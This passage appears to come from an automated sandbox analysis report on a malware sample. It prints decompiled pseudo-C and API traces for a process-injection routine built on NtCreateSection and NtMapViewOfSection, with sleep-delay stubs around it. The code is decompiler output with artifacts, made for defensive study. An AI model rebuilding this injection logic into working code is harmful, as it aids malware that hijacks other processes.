								 *_t112 = 0;
								_t136 = _t198 - 0x38;
								_t107 = NtMapViewOfSection( *_t186,  *(_t198 - 0xc), _t112, 0, 0, 0, _t136, 1, 0, 0x20);
								_t220 = _t107;
								if(_t220 == 0) {
									L20();
									if(_t220 == 0 && _t220 != 0) {
										asm("xlatb");
										if (_t220 <= 0) goto L15;
									}
								}
							}
							goto L65;
						}
					}
				}
				L65:
				_t96 = 0x1581;
				_t97 = _t135;
				_t135 = _t96;
				 *((intOrPtr*)(_t96 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t96 - 0x3b7cdbf4)) + _t136;
				_t96 = _t97 +  *_t97 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: 579ab89eb62fb7bd98f0da5a88d0c5aa70306928dcef38f677cb0963ea8c8e6a
Instruction ID: 1d83ed718b3d8f73ad22f5b98cfb14e955660f873ce3eefd52a1c4960fa86b46
Opcode Fuzzy Hash: 579ab89eb62fb7bd98f0da5a88d0c5aa70306928dcef38f677cb0963ea8c8e6a
Instruction Fuzzy Hash: FB510A75900205BBEF209F91CC88FAF7BB8FF85B14F104219FA11BA2A5D7749941CB64

Uniqueness

Uniqueness Score: -1.00%

Function 0040156E Relevance: 10.7, APIs: 7, Instructions: 163
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 76%

			E0040156E(void* __ebx, long* __ecx, void* __edi, void* __esi, void* __fp0) {
				void* _t89;
				intOrPtr _t92;
				intOrPtr _t95;
				intOrPtr* _t97;
				struct _GUID _t105;
				long _t107;
				intOrPtr* _t108;
				PVOID* _t110;
				PVOID* _t112;
				PVOID* _t128;
				PVOID* _t130;
				long* _t137;
				intOrPtr* _t138;
				void* _t156;
				intOrPtr* _t185;
				intOrPtr* _t186;
				HANDLE* _t187;
				void* _t199;
				void* _t206;
				long _t221;

				_t137 = __ecx;
				_t135 = __ebx + 1;
				_t206 = __ebx + 1;
				_t156 = 0xd4;
				E004011BD(_t89, _t135, __ecx, _t156, __edi, __esi, _t206);
				_t136 =  *((intOrPtr*)(_t199 + 8));
				 *((intOrPtr*)(_t199 - 0x34)) = 0;
				if(gs != 0) {
					 *((intOrPtr*)(_t199 - 0x34)) =  *((intOrPtr*)(_t199 - 0x34)) + 1;
				}
				while(1) {
					_t92 =  *((intOrPtr*)(_t136 + 0x48))();
					if(_t92 != 0) {
						break;
					}
					 *((intOrPtr*)(_t136 + 0x1c))(0x3e8);
				}
				 *((intOrPtr*)(_t199 - 0x5c)) = _t92;
				_t185 = _t199 - 0x60;
				 *_t185 = 0;
				 *((intOrPtr*)(_t136 + 0x4c))(_t92, _t185);
				_t95 =  *_t185;
				if(_t95 != 0) {
					_t138 = _t199 - 0x30;
					 *_t138 = _t95;
					 *((intOrPtr*)(_t138 + 4)) = 0;
					_t186 = _t199 - 0x28;
					 *((intOrPtr*)(_t136 + 0x10))(_t186, 0x18);
					 *_t186 = 0x18;
					_t137 = _t199 - 0x30;
					_push(_t137);
					_push(_t186);
					_push(0x40);
					_push(_t199 - 0x10);
					if( *((intOrPtr*)(_t136 + 0x70))() == 0 && NtDuplicateObject( *(_t199 - 0x10), 0xffffffff, 0xffffffff, _t199 - 0xc, 0, 0, 2) == 0) {
						 *((intOrPtr*)(_t199 - 8)) = 0;
						_t105 = _t199 - 0x50;
						 *((intOrPtr*)(_t105 + 4)) = 0;
						 *_t105 = 0x5000;
						_t187 = _t199 - 0x54;
						if(NtCreateSection(_t187, 6, 0, _t105, 4, 0x8000000, 0) == 0) {
							 *_t25 =  *(_t199 - 0x50);
							_t128 = _t199 - 0x44;
							 *_t128 = 0;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t128, 0, 0, 0, _t199 - 0x38, 1, 0, 4) == 0) {
								_t130 = _t199 - 0x3c;
								 *_t130 = 0;
								if(NtMapViewOfSection( *_t187,  *(_t199 - 0xc), _t130, 0, 0, 0, _t199 - 0x38, 1, 0, 4) == 0) {
									_t187 =  *(_t199 - 0x44);
									 *((intOrPtr*)(_t136 + 0x20))(0, _t187, 0x104);
									_t187[0x82] =  *(_t199 + 0x14);
									 *((intOrPtr*)(_t199 - 8)) =  *((intOrPtr*)(_t199 - 8)) + 1;
								}
							}
						}
						_t107 = _t199 - 0x50;
						_t137 =  *((intOrPtr*)(_t199 + 0x10)) + 0x10000;
						 *((intOrPtr*)(_t107 + 4)) = 0;
						while(1) {
							_t108 = _t107 + 0x89;
							 *(_t199 + 0x6857a875) =  *(_t199 + 0x6857a875) | _t137;
							 *_t108 =  *_t108 + _t108;
							 *_t108 =  *_t108 + _t137;
							_push(0x40);
							_push(_t108);
							_push(0);
							_push(0xe);
							if(NtCreateSection(_t187) != 0 ||  *((intOrPtr*)(_t199 - 8)) == 0) {
								goto L63;
							}
							 *_t47 =  *(_t199 - 0x50);
							_t110 = _t199 - 0x48;
							 *_t110 = 0;
							_t137 = _t199 - 0x38;
							if(NtMapViewOfSection( *_t187, 0xffffffff, _t110, 0, 0, 0, _t137, 1, 0, 4) == 0) {
								_t112 = _t199 - 0x40;
								 *_t112 = 0;
								_t137 = _t199 - 0x38;
								_t107 = NtMapViewOfSection( *_t187,  *(_t199 - 0xc), _t112, 0, 0, 0, _t137, 1, 0, 0x20);
								_t221 = _t107;
								if(_t221 == 0) {
									L18();
									if(_t221 == 0 && _t221 != 0) {
										asm("xlatb");
										if (_t221 <= 0) goto L13;
									}
								}
							}
							goto L63;
						}
					}
				}
				L63:
				_t96 = 0x1581;
				_t97 = _t136;
				_t136 = _t96;
				 *((intOrPtr*)(_t96 - 0x3b7cdbf4)) =  *((intOrPtr*)(_t96 - 0x3b7cdbf4)) + _t137;
				_t96 = _t97 +  *_t97 + 0xffffffffefeb0a2c;
				__edx =  *__esp;
				__esp = __esp + 4;
				__eax = E004011BD(__eax, __ebx, __ecx, __edx, __edi, __esi, __eflags);
				__eflags = __eax & 0x5ffffff8;
				__esi = 0xd4;
				__ebx = 0x393;
				__esp = __ebp;
				_pop(__ebp);
				return __eax;
			}

APIs

NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004), ref: 00401662
NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$View$Create$DuplicateObject
String ID:
API String ID: 1546783058-0
Opcode ID: d5b10abc90c8c6a7dc80e0c028c57b1ab97dfb5efeb842bbdb4f506f4bf1d66c
Instruction ID: d8e739a22362a43fac31a6c695893a01924cf3e7e2b8d195f7e8b0d2178a2f75
Opcode Fuzzy Hash: d5b10abc90c8c6a7dc80e0c028c57b1ab97dfb5efeb842bbdb4f506f4bf1d66c
Instruction Fuzzy Hash: 2551FA75900205BFEF209F91CC88FAF7BB8FF85B14F104259FA11AA2A5D7709941CB24

Uniqueness

Uniqueness Score: -1.00%

Function 00401706 Relevance: 4.7, APIs: 3, Instructions: 188
nativeCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

NtCreateSection.NTDLL(?,0000000E,00000000,?,00000040,08000000,00000000), ref: 004016A3
NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 004016D4
NtMapViewOfSection.NTDLL(?,?,?,00000000,00000000,00000000,00000000,00000001,00000000,00000020), ref: 004016F6

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$View$Create
String ID:
API String ID: 33071139-0
Opcode ID: e305ea66141ac1917696a177c51917f6868016e15f6eda21c309dcd603f7f2f5
Instruction ID: 447455f733b0a153a40d6099ba8f492cc09ddcc2c77b928045d4e3348107214c
Opcode Fuzzy Hash: e305ea66141ac1917696a177c51917f6868016e15f6eda21c309dcd603f7f2f5
Instruction Fuzzy Hash: 4251E732908104EBEB159A94CC44FAB77B5EF85700F24813BE942772F0D67C6A46E75B

Uniqueness

Uniqueness Score: -1.00%

Function 007F003C Relevance: 11.0, APIs: 4, Strings: 2, Instructions: 515
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

VirtualAlloc.KERNELBASE(00000000,?,00001000,00000004), ref: 007F024D

Strings

kernel32.dll, xrefs: 007F008F, 007F0095
cess, xrefs: 007F018D

Memory Dump Source

Source File: 00000002.00000002.416061503.00000000007F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7f0000_rgrsiwf.jbxd

Yara matches

Similarity

API ID: AllocVirtual
String ID: cess$kernel32.dll
API String ID: 4275171209-1230238691
Opcode ID: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction ID: bb1bbcf526af1236dc3dd97d0b3308bf3dca1b68196761fa51d188fd70229c14
Opcode Fuzzy Hash: aaa6c488ea091c11cf1d14b1b8159415dd1a008d9b857f0942c425a8c5fa1e0a
Instruction Fuzzy Hash: 65526974A01229DFDB64CF58C984BA8BBB1BF09304F1480D9E50DAB352DB34AE95DF54

Uniqueness

Uniqueness Score: -1.00%

Function 007F0E0F Relevance: 3.0, APIs: 2, Instructions: 15
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

SetErrorMode.KERNELBASE(00000400,?,?,007F0223,?,?), ref: 007F0E19
SetErrorMode.KERNELBASE(00000000,?,?,007F0223,?,?), ref: 007F0E1E

Memory Dump Source

Source File: 00000002.00000002.416061503.00000000007F0000.00000040.00001000.00020000.00000000.sdmp, Offset: 007F0000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_7f0000_rgrsiwf.jbxd

Yara matches

Similarity

API ID: ErrorMode
String ID:
API String ID: 2340568224-0
Opcode ID: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction ID: 39dc2ba02c8f599a9a0c66956a017a6837c12d9686f585be25e84849f230fef0
Opcode Fuzzy Hash: 027e3930a8fc815aeaa48c4a19c17906f2e2d358c6b73c72f02d274321b10a64
Instruction Fuzzy Hash: 28D0123154512CB7D7003A94DC09BDD7B1CDF05B62F008411FB0DD9181C774994046E5

Uniqueness

Uniqueness Score: -1.00%

Function 0040F993 Relevance: 1.5, APIs: 1, Instructions: 45
COMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__malloc_crt.LIBCMT ref: 0040F9C4

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: __malloc_crt
String ID:
API String ID: 3464615804-0
Opcode ID: 498639db6c0590578430267458efad96abe7fe52505da81c1766c9b3dc17494d
Instruction ID: 14388b8b102b9c58e8f43094d2e30dacba18611b8758219e862451feb054ea9b
Opcode Fuzzy Hash: 498639db6c0590578430267458efad96abe7fe52505da81c1766c9b3dc17494d
Instruction Fuzzy Hash: E8F0E9B75001207DDA357A356C089772628DAC63253260837F492E3A94E63C4D8682E9

Uniqueness

Uniqueness Score: -1.00%

Function 0040C843 Relevance: 1.5, APIs: 1, Instructions: 20
memoryCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

HeapCreate.KERNELBASE(00000000,00001000,00000000), ref: 0040C858

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: CreateHeap
String ID:
API String ID: 10892065-0
Opcode ID: d20468b3d397896e9c3ccf82f471a2f67684d42a0bc2bfb341adaeb80bcc7c81
Instruction ID: 7fa59595f45f3fad9356bf27612511d5519ed19cb54caf8bb0a8c0e588ac3dc9
Opcode Fuzzy Hash: d20468b3d397896e9c3ccf82f471a2f67684d42a0bc2bfb341adaeb80bcc7c81
Instruction Fuzzy Hash: 76D0A732654709AEDB005F76BC08B763BDCD388795F008536F90DD6290F574C940CE08

Uniqueness

Uniqueness Score: -1.00%

Function 0040E1C6 Relevance: 1.5, APIs: 1, Instructions: 4
COMMONLIBRARYCODE

Download Yara Rule

Control-flow Graph

Executed
Not Executed

APIs

__encode_pointer.LIBCMT ref: 0040E1C8

Part of subcall function 0040E154: RtlEncodePointer.NTDLL(00000000,?,0040E1CD,00000000,00414601,00435018,00000000,00000314,?,0040B18B,00435018,00402220,00012010), ref: 0040E1BB

Memory Dump Source

Source File: 00000002.00000002.415961290.0000000000409000.00000020.00000001.01000000.00000006.sdmp, Offset: 00409000, based on PE: false

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_409000_rgrsiwf.jbxd

Similarity

API ID: EncodePointer__encode_pointer
String ID:
API String ID: 4150071819-0
Opcode ID: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction ID: 35626f7fef174b5b12671be3c9572c3873110e2351e3015cbe3a545a09bf4dea
Opcode Fuzzy Hash: 626ded885c0b6a47c33717e93208713095e5c780cda27b978e7e12efcbcc7c99
Instruction Fuzzy Hash:

Uniqueness

Uniqueness Score: -1.00%

Function 0040191B Relevance: 1.3, APIs: 1, Instructions: 62
sleepCOMMON

Download Yara Rule

C-Code - Quality: 32%

			E0040191B(void* __eflags, intOrPtr* _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				char _v8;
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				void* _t18;
				intOrPtr _t20;
				intOrPtr _t21;
				void* _t22;
				void* _t23;
				intOrPtr* _t24;
				intOrPtr* _t25;

				_t27 = __eflags;
				_t18 = 0x72;
				_push(0x7c);
				_t20 =  *_t24;
				_t25 = _t24 + 4;
				E004011BD(0x1966, _t16, _t18, _t20, _t22, _t23, __eflags);
				_t17 = _a4;
				Sleep(0x1388);
				_push( &_v8);
				_push(_a12);
				_push(_a8);
				_push(_t17); // executed
				_t11 = E0040143E(_t27); // executed
				_t28 = _t11;
				if(_t11 != 0) {
					E0040153A(_t22, _t17, _t11, _v8, _a16); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x1966;
				_push(0x7c);
				_t21 =  *_t25;
				return E004011BD(_t13, _t17, 0x72, _t21, _t22, _t23, _t28);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: aa4c871f875b8433a1888fa60491c251e6fbb3be3237b566f424d3eb63a5dc5e
Instruction ID: c9097c7a8c76098b790d0824a844458142c5fb2d44e24dbb1ae9bdc9dc575197
Opcode Fuzzy Hash: aa4c871f875b8433a1888fa60491c251e6fbb3be3237b566f424d3eb63a5dc5e
Instruction Fuzzy Hash: 1411A1F160C204E7EB006A959DA1E7A36189B05754F304137B643791F1C53D9913F7AF

Uniqueness

Uniqueness Score: -1.00%

Function 00401926 Relevance: 1.3, APIs: 1, Instructions: 59
sleepCOMMON

Download Yara Rule

C-Code - Quality: 23%

			E00401926(signed int __ecx, void* __edx, void* __edi) {
				void* __esi;
				void* _t13;
				void* _t15;
				void* _t18;
				intOrPtr* _t19;
				void* _t22;
				intOrPtr _t26;
				intOrPtr _t27;
				void* _t30;
				void* _t32;
				intOrPtr* _t34;
				intOrPtr* _t35;
				signed int _t38;

				_t28 = __edi;
				_t38 = __ecx & __edx - 0x00000001;
				_pop(es);
				_pop(_t34);
				_push(_t30);
				_t22 = 0x72;
				_push(0x7c);
				_t26 =  *_t34;
				_t35 = _t34 + 4;
				E004011BD(0x1966, _t18, _t22, _t26, __edi, _t30, _t38);
				_t19 =  *((intOrPtr*)(_t32 + 8));
				Sleep(0x1388);
				_push(_t32 - 4);
				_push( *((intOrPtr*)(_t32 + 0x10)));
				_push( *((intOrPtr*)(_t32 + 0xc)));
				_push(_t19); // executed
				_t13 = E0040143E(_t38); // executed
				_t39 = _t13;
				if(_t13 != 0) {
					E0040153A(__edi, _t19, _t13,  *((intOrPtr*)(_t32 - 4)),  *((intOrPtr*)(_t32 + 0x14))); // executed
				}
				 *_t19(0xffffffff, 0);
				_t15 = 0x1966;
				_push(0x7c);
				_t27 =  *_t35;
				return E004011BD(_t15, _t19, 0x72, _t27, _t28, _t30, _t39);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 6d6817fa9df14b3076a8f9b1474124779175b41ba9da93487664b36b3a9d2bc9
Instruction ID: cf7fc6a6d41792b892400cc2fa54afce955014e6845f6d022a9c776b377c91f0
Opcode Fuzzy Hash: 6d6817fa9df14b3076a8f9b1474124779175b41ba9da93487664b36b3a9d2bc9
Instruction Fuzzy Hash: E401ADB1208205EBEB005A8599A1EBA33189B45360F208137B603791F0C23D9A12E7AF

Uniqueness

Uniqueness Score: -1.00%

Function 00401933 Relevance: 1.3, APIs: 1, Instructions: 56
sleepCOMMON

Download Yara Rule

C-Code - Quality: 34%

			E00401933(signed int __eax, signed int* __ebx, void* __edi) {
				void* _t17;
				void* _t19;
				intOrPtr* _t23;
				void* _t25;
				intOrPtr _t28;
				intOrPtr _t29;
				void* _t32;
				void* _t34;
				intOrPtr* _t36;
				intOrPtr* _t37;
				signed int _t40;

				_t30 = __edi;
				_t40 = __eax %  *__ebx;
				_t25 = 0x72;
				_push(0x7c);
				_t28 =  *_t36;
				_t37 = _t36 + 4;
				E004011BD(0x1966, __ebx, _t25, _t28, __edi, _t32, _t40);
				_t23 =  *((intOrPtr*)(_t34 + 8));
				Sleep(0x1388);
				_push(_t34 - 4);
				_push( *((intOrPtr*)(_t34 + 0x10)));
				_push( *((intOrPtr*)(_t34 + 0xc)));
				_push(_t23); // executed
				_t17 = E0040143E(_t40); // executed
				_t41 = _t17;
				if(_t17 != 0) {
					E0040153A(__edi, _t23, _t17,  *((intOrPtr*)(_t34 - 4)),  *((intOrPtr*)(_t34 + 0x14))); // executed
				}
				 *_t23(0xffffffff, 0);
				_t19 = 0x1966;
				_push(0x7c);
				_t29 =  *_t37;
				return E004011BD(_t19, _t23, 0x72, _t29, _t30, _t32, _t41);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 4149cf5a923b8e8884d6f6945363e082f8f5046ca93a85a5d0b29413b9ec7006
Instruction ID: d842434d851b528c019fbd57e57948c1b19627375bcd2192bf6abc5702952b03
Opcode Fuzzy Hash: 4149cf5a923b8e8884d6f6945363e082f8f5046ca93a85a5d0b29413b9ec7006
Instruction Fuzzy Hash: 100169F1608204EBEB006B9499A1EBA3324AB05754F308137B617791F1C63D9A13E76F

Uniqueness

Uniqueness Score: -1.00%

Function 00401937 Relevance: 1.3, APIs: 1, Instructions: 51
sleepCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00401937(unsigned int __ebx, void* __edi) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t18;
				void* _t20;
				intOrPtr _t22;
				intOrPtr _t23;
				void* _t26;
				void* _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				unsigned int _t34;

				_t24 = __edi;
				_t17 = __ebx >> 0xd;
				_t34 = __ebx >> 0xd;
				_t20 = 0x72;
				_push(0x7c);
				_t22 =  *_t30;
				_t31 = _t30 + 4;
				E004011BD(_t8, _t17, _t20, _t22, __edi, _t26, _t34);
				_t18 =  *((intOrPtr*)(_t28 + 8));
				Sleep(0x1388);
				_push(_t28 - 4);
				_push( *((intOrPtr*)(_t28 + 0x10)));
				_push( *((intOrPtr*)(_t28 + 0xc)));
				_push(_t18); // executed
				_t11 = E0040143E(_t34); // executed
				_t35 = _t11;
				if(_t11 != 0) {
					E0040153A(__edi, _t18, _t11,  *((intOrPtr*)(_t28 - 4)),  *((intOrPtr*)(_t28 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0);
				_t13 = 0x1966;
				_push(0x7c);
				_t23 =  *_t31;
				return E004011BD(_t13, _t18, 0x72, _t23, _t24, _t26, _t35);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: 3b6b689b9145e9218f7536035d1f7484f46ca8be15d9ebf98dafcffe069e586b
Instruction ID: 7be51b60f0a4a78f60551b3f2632a8c962228acbedfc550b977fc64e20121a53
Opcode Fuzzy Hash: 3b6b689b9145e9218f7536035d1f7484f46ca8be15d9ebf98dafcffe069e586b
Instruction Fuzzy Hash: FC01B1B1208205E7DB006B849DA1E6A33249B04754F204537F753791F1C27E9913E7AF

Uniqueness

Uniqueness Score: -1.00%

Function 00401946 Relevance: 1.3, APIs: 1, Instructions: 49
sleepCOMMON

Download Yara Rule

C-Code - Quality: 35%

			E00401946(signed int __ebx, void* __edi) {
				void* _t8;
				void* _t11;
				void* _t13;
				intOrPtr* _t18;
				void* _t20;
				intOrPtr _t22;
				intOrPtr _t23;
				void* _t26;
				signed int _t28;
				intOrPtr* _t30;
				intOrPtr* _t31;
				signed int _t34;

				_t24 = __edi;
				_t17 = __ebx & _t28;
				_t34 = __ebx & _t28;
				_t20 = 0x72;
				_push(0x7c);
				_t22 =  *_t30;
				_t31 = _t30 + 4;
				E004011BD(_t8, _t17, _t20, _t22, __edi, _t26, _t34);
				_t18 =  *((intOrPtr*)(_t28 + 8));
				Sleep(0x1388);
				_push(_t28 - 4);
				_push( *((intOrPtr*)(_t28 + 0x10)));
				_push( *((intOrPtr*)(_t28 + 0xc)));
				_push(_t18); // executed
				_t11 = E0040143E(_t34); // executed
				_t35 = _t11;
				if(_t11 != 0) {
					E0040153A(__edi, _t18, _t11,  *((intOrPtr*)(_t28 - 4)),  *((intOrPtr*)(_t28 + 0x14))); // executed
				}
				 *_t18(0xffffffff, 0);
				_t13 = 0x1966;
				_push(0x7c);
				_t23 =  *_t31;
				return E004011BD(_t13, _t18, 0x72, _t23, _t24, _t26, _t35);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

Part of subcall function 0040153A: NtDuplicateObject.NTDLL(?,000000FF,000000FF,?,00000000,00000000,00000002), ref: 004015F4
Part of subcall function 0040153A: NtCreateSection.NTDLL(?,00000006,00000000,?,00000004,08000000,00000000), ref: 00401621
Part of subcall function 0040153A: NtMapViewOfSection.NTDLL(?,000000FF,?,00000000,00000000,00000000,00000000,00000001,00000000,00000004,?), ref: 00401644

Memory Dump Source

Source File: 00000002.00000002.415950224.0000000000400000.00000040.00000001.01000000.00000006.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_2_2_400000_rgrsiwf.jbxd

Similarity

API ID: Section$CreateDuplicateObjectSleepView
String ID:
API String ID: 1885482327-0
Opcode ID: c0fe30b882580bc1232b4db7649a47100bd8674d4fc6e59b25d38baed598e95d
Instruction ID: 8d0b4fc3b4ed128b3f491f21f6e5c565a9570d6eb44f85e417a0d417efd48700
Opcode Fuzzy Hash: c0fe30b882580bc1232b4db7649a47100bd8674d4fc6e59b25d38baed598e95d
Instruction Fuzzy Hash: 9D01A2B5708205EBDB006B949DA1EBA37149B04354F204537B713B91F1C63D9913E76F

Uniqueness

Uniqueness Score: -1.00%

Function 0040195C Relevance: 1.3, APIs: 1, Instructions: 48
sleepCOMMON

Download Yara Rule

C-Code - Quality: 24%

			E0040195C(void* __ecx, void* __edi, void* __eflags) {
				void* _t8;
				void* _t11;
				void* _t13;
				void* _t16;
				intOrPtr* _t17;
				intOrPtr _t21;
				intOrPtr _t22;
				void* _t25;
				void* _t27;
				intOrPtr* _t29;
				intOrPtr* _t30;

				_t33 = __eflags;
				_t23 = __edi;
				asm("in eax, dx");
				asm("cli");
				_push(0x7c);
				_t21 =  *_t29;
				_t30 = _t29 + 4;
				E004011BD(_t8, _t16, __ecx, _t21, __edi, _t25, __eflags);
				_t17 =  *((intOrPtr*)(_t27 + 8));
				Sleep(0x1388);
				_push(_t27 - 4);
				_push( *((intOrPtr*)(_t27 + 0x10)));
				_push( *((intOrPtr*)(_t27 + 0xc)));
				_push(_t17); // executed
				_t11 = E0040143E(_t33); // executed
				_t34 = _t11;
				if(_t11 != 0) {
					E0040153A(__edi, _t17, _t11,  *((intOrPtr*)(_t27 - 4)),  *((intOrPtr*)(_t27 + 0x14))); // executed
				}
				 *_t17(0xffffffff, 0);
				_t13 = 0x1966;
				_push(0x7c);
				_t22 =  *_t30;
				return E004011BD(_t13, _t17, 0x72, _t22, _t23, _t25, _t34);
			}

APIs

Sleep.KERNELBASE(00001388), ref: 0040196E

